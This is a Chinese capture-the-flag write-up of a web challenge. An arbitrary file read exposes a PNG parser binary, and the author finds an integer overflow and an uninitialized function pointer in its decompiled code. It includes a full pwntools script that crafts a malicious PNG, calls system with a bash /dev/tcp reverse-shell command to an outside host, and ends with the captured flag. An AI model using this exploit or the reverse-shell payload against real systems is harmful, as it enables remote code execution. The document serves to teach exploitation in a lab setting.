1. 漏洞分析

网站中包含一个任意文件读的漏洞,把协议改成file://并在url处输入路径就可以进行任意读,传回来的时候经过了base64编码,解码即可,读取文件知道上传后的图片其实是让二进制程序进行解析

def parser_run(png_data):
	f = tempfile.NamedTemporaryFile(delete=False)
	f.write(png_data)
	f.close()

	args = "./PNGParser %s" %(f.name)
	proc = Popen(args, stdout=PIPE, stderr=PIPE, stdin=PIPE, shell=True)
	out, err = proc.communicate()
	os.unlink(f.name)
	return out

其实这是一个pwn题。。。通过逆向知道这是一个PNG解析程序,并存在多个漏洞。

1.1 漏洞1(整数溢出)

这处是在解析数据的代码中

signed int __cdecl parse_data(struct_parse_png *parse_chunk)
{
  signed int v2; // [sp+34h] [bp-4h]@3

  switch ( parse_chunk->parse_status )
  {
    case 0xB:
      if ( !memcmp(&parse_chunk->chunk_size_big, &png_header, 8u) )
      {
        parse_chunk->parse_status = 0xC;
        parse_chunk->read_size = 8;
        parse_chunk->read_offset = 0;
        parse_chunk->data_addr = parse_chunk + 4;
        goto LABEL_17;
      }
      v2 = 0;
      printf("INVALID PNG SIGNATURE\n");
      break;
    case 0xC:
      parse_chunk->chunk_size = big_2_little(&parse_chunk->chunk_size_big);
      if ( !parse_chunk->chunk_size )
        goto LABEL_12;
      if ( !strcmp(&parse_chunk->chunk_type, "PLTE") )
        parse_chunk->chunk_data = malloc(parse_chunk->chunk_size);
      else
        parse_chunk->chunk_data = malloc(16 * parse_chunk->chunk_size);
      if ( parse_chunk->chunk_data )
      {
        parse_chunk->parse_status = 0xD;
        parse_chunk->read_size = parse_chunk->chunk_size;
        parse_chunk->read_offset = 0;
        parse_chunk->data_addr = parse_chunk->chunk_data;
        goto LABEL_17;
      }
      v2 = 0;
      printf("CAN'T ALLOCATE MEMORY: %u bytes\n", parse_chunk->chunk_size);
      break;
    case 0xD:
LABEL_12:
      parse_chunk->parse_status = 0xE;
      parse_chunk->read_size = 4;
      parse_chunk->read_offset = 0;
      parse_chunk->data_addr = parse_chunk + 12;
      goto LABEL_17;
    case 0xE:
      if ( ::parse_chunk(parse_chunk) )
      {
        free_data(parse_chunk);
        parse_chunk->parse_status = 0xC;
        parse_chunk->read_size = 8;
        parse_chunk->read_offset = 0;
        parse_chunk->data_addr = parse_chunk + 4;
LABEL_17:
        v2 = 1;
      }
      else
      {
        v2 = 0;
      }
      break;
    default:
      v2 = 0;
      printf("INTERNAL ERROR\n");
      break;
  }
  return v2;
}

在第26malloc内存时如果chunk_size过大就会造成整数溢出。

1.2 漏洞2(未初始化)

这处是在输出PLTE类型的chunk的代码中

signed int __cdecl print_plte(struct_part_chunk *chunk)
{
  void (__cdecl **func_addr)(int); // [sp+40h] [bp-18h]@1
  unsigned int rgb_size; // [sp+44h] [bp-14h]@1
  unsigned int i; // [sp+48h] [bp-10h]@7
  signed int v5; // [sp+50h] [bp-8h]@3

  rgb_size = chunk->data_len / 3u;
  func_addr = malloc(4u);
  if ( chunk->data_len && !(chunk->data_len % 3u) )
  {
    if ( chunk->data_len / 3u <= 0x100 )
      *func_addr = print_PALETTE;
    else
      fputs("PLTE CHUNK LENGTH INVALID.\n", stderr);
    for ( i = 0; i < rgb_size; ++i )
    {
      if ( i > 0x14 )
      {
        printf("...\n");
        break;
      }
      (*func_addr)((chunk->data[3 * i + 2] << 8) + (chunk->data[3 * i + 1] << 16) + (chunk->data[3 * i] << 24));
    }
    v5 = 1;
  }
  else
  {
    v5 = 0;
    fputs("PLTE CHUNK LENGTH INVALID.\n", stderr);
  }
  return v5;
}

9malloc后并没有进行初始化,并且第12行的if判断失败后函数没有立即返回,这样就可能导致可以控制第23行的函数指针调用。

2. 漏洞利用

先说一个比较坑的地方,在Ubuntu 16.04中printf时会申请stdout的buffer,这样会导致堆布局更预想的不一样,并且命令行启的程序和Popen方式启的程序的buffer大小还不同,因此需要Popen启程序来调试。。。

总体思路:在top chunk上残留数据并使malloc(4)时从top chunk上分配,由于未初始化来控制函数指针使其为system@plt的地址,同时可以控制参数地址高位的3个字节0xXXXXXX00,再分析程序可以发现在输出tEXt类型的chunk时正好可以控制0x0804E500地址处的内容

signed int __cdecl print_text(struct_part_chunk *chunk)
{
  void *v2; // [sp+30h] [bp-28h]@1
  unsigned int len; // [sp+34h] [bp-24h]@1
  unsigned int n; // [sp+38h] [bp-20h]@1
  int v5; // [sp+3Ch] [bp-1Ch]@10
  unsigned int i; // [sp+40h] [bp-18h]@10
  unsigned int j; // [sp+40h] [bp-18h]@15
  unsigned int v8; // [sp+40h] [bp-18h]@18
  unsigned int v9; // [sp+4Ch] [bp-Ch]@3
  signed int v10; // [sp+54h] [bp-4h]@2

  n = strlen(chunk->data);
  len = chunk->data_len;
  v2 = memchr(chunk->data, 0, chunk->data_len);
  if ( v2 )
  {
    v9 = v2 - chunk->data;
    if ( memchr(v2 + 1, 0, chunk->data_len - (v9 + 1)) )
    {
      v10 = 0;
      fputs("tEXt CHUNK INVALID.\n", stderr);
    }
    else if ( v9 <= 0x4F && v9 >= 1 )
    {
      if ( n < 0x82 )
      {
        memcpy(byte_804E45C, chunk->data, n);
        v5 = 0;
        for ( i = v9 + 1; i < chunk->data_len; ++i )
        {
          if ( v5 == 0x82 )
          {
            len = 0x82;
            break;
          }
          byte_804E4DE[v5++] = chunk->data[i];
        }
        for ( j = 0; j < n; ++j )
          printf("%c", byte_804E45C[j]);
        v8 = 0;
        printf(":");
        while ( v8 < len )
          printf("%c", byte_804E4DE[v8++]);
        v10 = 1;
        printf("\n");
      }
      else
      {
        v10 = 0;
      }
    }
    else
    {
      v10 = 0;
      fputs("tEXt CHUNK LENGTH INVALID.\n", stderr);
    }
  }
  else
  {
    v10 = 0;
    fputs("tEXt CHUNK INVALID.\n", stderr);
  }
  return v10;
}

上面第37行对数组赋值时就可以控制system的参数内容。

下面是生成png的脚本

from pwn import *
import zlib,ctypes

elf = ELF('./PNGParser')

file_content =  "89504E470D0A1A0A".decode('hex')

file_content +=  p32(0xd, endian="big")
head_content =  "IHDR"
head_content += "00000B04000005A60806000000".decode('hex')
file_content += head_content
file_content += p32(ctypes.c_uint32(zlib.crc32(head_content)).value, endian="big")

command = "bash -c 'bash&>/dev/tcp/2032837031/6666<&1';" + "A" * 128
text = p32(elf.plt['system']) + "\x00" + "A" * 34 + command
file_content +=  p32(len(text), endian="big")
head_content =  "tEXt"
head_content += text
file_content += head_content
file_content += p32(ctypes.c_uint32(zlib.crc32(head_content)).value, endian="big")

file_content +=  p32(0x80000001, endian="big")
head_content =  "PLTE"
head_content += p32(0x804e500, endian="big") + 'A' * 1996
file_content += head_content
file_content += p32(ctypes.c_uint32(zlib.crc32("PLTE")).value, endian="big")

fp = open('./test.png','wb')
fp.write(file_content)
fp.close()

特别要注意的是第22行的PLTE chunk的长度为0x80000001,看下读取数据时的代码

int __cdecl parse_png(struct_parse_png *parse_png, int data, unsigned int data_len)
{
  size_t readed_size; // [sp+Ch] [bp-2Ch]@4
  int v5; // [sp+20h] [bp-18h]@1
  unsigned int i; // [sp+24h] [bp-14h]@1

  i = 0;
  v5 = 0;
  while ( i < data_len )
  {
    if ( data_len - i >= parse_png->read_size - parse_png->read_offset )
      readed_size = parse_png->read_size - parse_png->read_offset;
    else
      readed_size = 2000;
    strcmp(&parse_png->chunk_type, "PLTE");
    memcpy((parse_png->read_offset + parse_png->data_addr), (i + data), readed_size);
    parse_png->read_offset += readed_size;
    i += readed_size;
    if ( parse_png->read_offset >= parse_png->read_size )
    {
      v5 = parse_data(parse_png);
      if ( !v5 )
        return 0;
    }
  }
  return v5;
}

上面第11行的是无符号判断,第19行是有符号判断,这样在parse_chunk->chunk_data = malloc(16 * parse_chunk->chunk_size)时就可以把之前释放的fastbin占位 image_1b93g9cq41vgs12uv1ab8nc314sl9.png-160.6kB

然后在func_addr = malloc(4u)时从top chunk分配空间 image_1b93gkm221dmv144qpiv1opj16b913.png-151.6kB

call eax时执行system image_1b93gqdqq1bqgq1fo4h63raq1g.png-210kB

最后成功反弹shell拿到flag

ls -al
total 52
drwxr-xr-x  4 root root    4096 Feb  9 08:46 .
drwxr-xr-x 65 root root    4096 Feb  9 09:42 ..
-rwsr-xr-x  1 root parser 22076 Feb  9 08:42 PNGParser
-rw-r--r--  1 root root      25 Feb  9 08:42 Th1s_1s_S3creT_F14g_F0r_YoU
-rw-r--r--  1 root root    1863 Feb  9 08:42 app.py
-rw-r--r--  1 root root      67 Feb  9 08:42 requirements.txt
drwxr-xr-x  5 root root    4096 Feb  9 08:42 static
drwxr-xr-x  2 root root    4096 Feb  9 08:42 templates
cat Th1s_1s_S3creT_F14g_F0r_YoU
FLAG{sh3_1s_b3t1fu1_#$%}